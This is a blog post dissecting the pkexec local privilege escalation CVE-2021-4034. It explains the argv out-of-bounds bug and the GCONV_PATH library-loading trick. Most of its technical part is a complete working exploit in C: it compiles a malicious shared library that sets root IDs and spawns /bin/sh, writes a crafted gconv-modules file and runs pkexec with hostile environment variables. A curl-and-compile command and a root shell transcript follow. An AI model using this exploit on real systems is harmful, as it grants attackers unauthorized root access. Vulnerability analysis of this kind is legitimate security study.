Dissecting pkexec (CVE-2021-4034) vulnerability
Polkit is a crucial component for controlling system-wide privileges in Linux (and other Unix-like systems such as BSD), similar to sudo. Initially it was released in May 2009 under the name PolicyKit and later it was renamed, it contained a critical local privilege escalation vulnerability for 12 years, until it was disclosed on January 25, 2022.
This is fascinating because:
- The critical code was in the main function not buried inside different files and folders.
- How easily code gets overlooked once it has been written.
In this blog post I am going to follow the path of the vulnerability, its exploit and dissect it in order to understand it further, mainly to serve me as a reminder for the my future-self.
Theory
The Qualys finding states that if the number of command-line arguments argc is 0 and argument list (argv) that is passed to execve
is NULL then iterator integer is set to a constant of 1 (see line 534 below) thus enabling us to read and write in out-of-bounds argv[1]. Below is the snippet from Qualys:
435 main (int argc, char *argv[])
436 {
...
534 for (n = 1; n < (guint) argc; n++)
535 {
...
568 }
...
610 path = g_strdup (argv[n]);
...
629 if (path[0] != '/')
630 {
...
632 s = g_find_program_in_path (path);
...
639 argv[n] = path = s;
640 }
Normally (like sudo) pkexec
completely clears its environment, which is quite hard to find which variable will stick around, in order to understand it further is to know GLib (the GNOME library, not the GNU C Library) a little bit more. pkexec
uses g_printerr()
to print error messages which is a part of GLib and g_printerr()
being a GNOME library it normally prints messages in UTF-8 format, but can be configured to print out in other formats as well using iconv_open()
GLib function.
In order to convert error message from one character set (CHARSET) to another, iconv_open()
executes small shared libraries, these are read from a global configuration file normally stored in /usr/lib/gconv/gconv-modules
but at the same time GCONV_PATH
can force iconv_open()
to read another configuration file (which can be stored anywhere) just the name should contain gconv-modules
and normally the GCONV_PATH
is not cleaned because it is reserved to load shared libraries which are important to a system, therefore the CVE-2021-4034 allows us to re-introduce GCONV_PATH
into the pkexec
environment (avoiding the global path of /usr/lib/gconv/gconv-modules
) and execute our own malicious payload library as root. Let's see it in action.
Basically the idea is to trick pkexec
to execute a malicious library as root when it encounters an error and calls the local gconv-modules
instead of the global one.
Technical Part
First we are going to write the function to compile the malicious library, we are naming it compile_library()
.
This is the library that will be loaded once pkexec
encounters an error and calls g_printerr()
GLib function.
/* Create a helper library so it gets loaded into gconv-modules
* when XAUTHORITY will complain about environment
* value contains suspicious content, by this time pkexec already
* has injected the malicious .so library created in this function.
*
* This helper library tries to set setuid, seteuid, setgid and setegid
* to zero (root) and calls execve to execute a shell.
*/
void compile_library() {
/* Create a payload.c file */
FILE *payload_file = fopen("payload-milotio.c", "wb");
if (payload_file == NULL) {
fatal_error("fopen");
}
/* Write the library code, this utilizes gconv_init
* to execute it into GCONV_PATH using LD_PRELOAD.
*
* Code is straight forward.
*/
char lib_code[] =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n"
"void gconv() {\n"
" return;\n"
"}\n"
" "
"void gconv_init() {\n"
" setuid(0);\n"
" seteuid(0);\n"
" setgid(0);\n"
" setegid(0);\n"
" static char *a_argv[] = { \"sh\", NULL };\n"
" static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
" execve(\"/bin/sh\", a_argv, a_envp);\n"
" exit(0);\n"
"}\n";
/* Write file */
fwrite(lib_code, strlen(lib_code), 1, payload_file);
fclose(payload_file);
/* Compile the library using Position Independent Code (fPIC) */
system("gcc -o payload-milotio.so -shared -fPIC payload-milotio.c");
}
compile_library() function that compiles a malicious .so payload
This function writes itself a malicious library such that when XAUTHORITY
reports an error it sends it through g_printerr()
GLib function calls the gconv-modules
and the library is called as root, it calls setuid(0), seteuid(0), setgid(0)
and setegid(0)
, for more on Linux permissions refer back to my previous blog post where I use similar exploit in an old apache vulnerability.
Next we will be writing our own main function, this creates all points mentioned in the theoretical part above, we will be creating both argv
and envp
by setting argv
to NULL
and envp
to contain environment variables so we can load our malicious library, we will then create a directory called GCONV_PATH=.
, we will be creating a file on the path called test-milotio
and a directory called test-milotio
containing the gconv-modules
with the malicious library containing setuid(0), seteuid(0), setgid(0)
and setegid(0)
function calls in the following gconv-modules
format:
module UTF-8// UTF-32// ../payload-milotio
gconv-modules contents to load the malicious .so payload
In gconv-modules
lines starting with module
register the available conversion module, the first word is the source CHARSET
in our case it is UTF-8, the second is the destination CHARSET
which in this case we use 32-bit encoding, we could have used INTERNAL
which represents UCS-4
which actually is UTF-32
so we are setting UTF-32
directly, and last but not least we specify the filename which normally expects a .so
extension, that's what we have compiled. In gconf-modules
format is the fifth element on the format which is used for cost, if it is not specified cost of 1 is assumed, which we are good with it.
Then we execute all of this using pkexec
in order to load the module and set the UID and GID to 0, the main funcion is well commented below:
int main(int argc, char *argv[]) {
struct stat stat_struct;
/* Force argument list terminator to be 1
* because in the pkexec' code if argv is NULL
* then it sets a constant of 1 so we can set
* pointer path to out-of-bounds.
*/
char *a_argv[] = { NULL };
/* Although not properly documented but it has been
* here with us for quite some time, *envp pointer
* just stores and prints all environment variables.
*
* We will be focring XAUTHORITY to report an error.
*/
char *a_envp[] = {
"test-milotio",
"PATH=GCONV_PATH=.",
"LC_MESSAGES=en_US.UTF-8",
"XAUTHORITY=../TEST-MILOTIO",
NULL
};
/* Compile the helper library */
printf("[*] Compiling helper library...\n");
compile_library();
/* Based on the Qualys' findings, if "PATH=name=." and if directory "name=."
* that contains an executable file named value exists, then a pointer
* to the string name=./value is written out of bounds to envp[0].
*
* The lines below create the path directory.
*/
if (stat("GCONV_PATH=.", &stat_struct) < 0) {
if(mkdir("GCONV_PATH=.", 0777) < 0) {
fatal_error("mkdir");
}
int file_descriptor = open("GCONV_PATH=./test-milotio", O_CREAT|O_RDWR, 0777);
if (file_descriptor < 0) {
fatal_error("open");
}
close(file_descriptor);
}
if (stat("test-milotio", &stat_struct) < 0) {
if (mkdir("test-milotio", 0777) < 0) {
fatal_error("mkdir");
}
/* Create the gconv-modules file in order to load
* the malicious .so library the compile_library()
* function produces.
*/
FILE *file_pointer = fopen("test-milotio/gconv-modules", "wb");
if (file_pointer == NULL) {
fatal_error("fopen");
}
/* Insert the malicious payload named "payload-milotio"
* inside the gconv-modules using the gconv-modules format.
*/
fprintf(file_pointer, "module UTF-8// UTF-32// ../payload-milotio\n");
fclose(file_pointer);
}
printf("[*] Check for root shell.\n");
/* Execute pkexec with argv of NULL and envp containing malicious code */
execve("/usr/bin/pkexec", a_argv, a_envp);
}
Main function to tailor it all together
Below is a video image compiling and executing it in a controlled virtual machine environment running fully updated Kali Linux on VMWare Workstation 16 (do not run it on your host machine or your servers):
Conclusion
Increasingly software is more prevalent in our daily lives and with it software complexity increases and with increased software complexity also there are more ways to break the software and use it for malicious intent, this vulnerability in itself contains an old trick by following simple steps:
- Use a privilege escalation component such as
pkexec
. - Trick the
pkexec
environment to think it is loading a graceful library as a privileged user (root). - In this case it loaded the library when it encountered an error through
g_printerr()
GLib function thus forcing it to load our own localgconv-modules
via theGCONV_PATH=.
created locally. - Inject the malicious library to execute as a privileged user (root).
- And you have root access on the system.
It is highly important to revisit the old code if it is still in use, we are humans after all and we all make mistakes.
Running the Exploit
Source code is available on Dissecting pkexec CVE-2021-4034 repository on my Github account. In order to try it yourself on a controlled virtual environment, just copy and paste the following:
$ curl https://milot.io/static/exploit.c -O && gcc exploit.c -o run-milotio
$ ./run-milotio
[*] Compiling helper library...
[*] Check for root shell.
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1001(milot)
#
Running the pkexec CVE-2021-4034 POC
Note that the system requires to have GLib installed and the vulnerable version of pkexec
which at the time of writing the patch is available.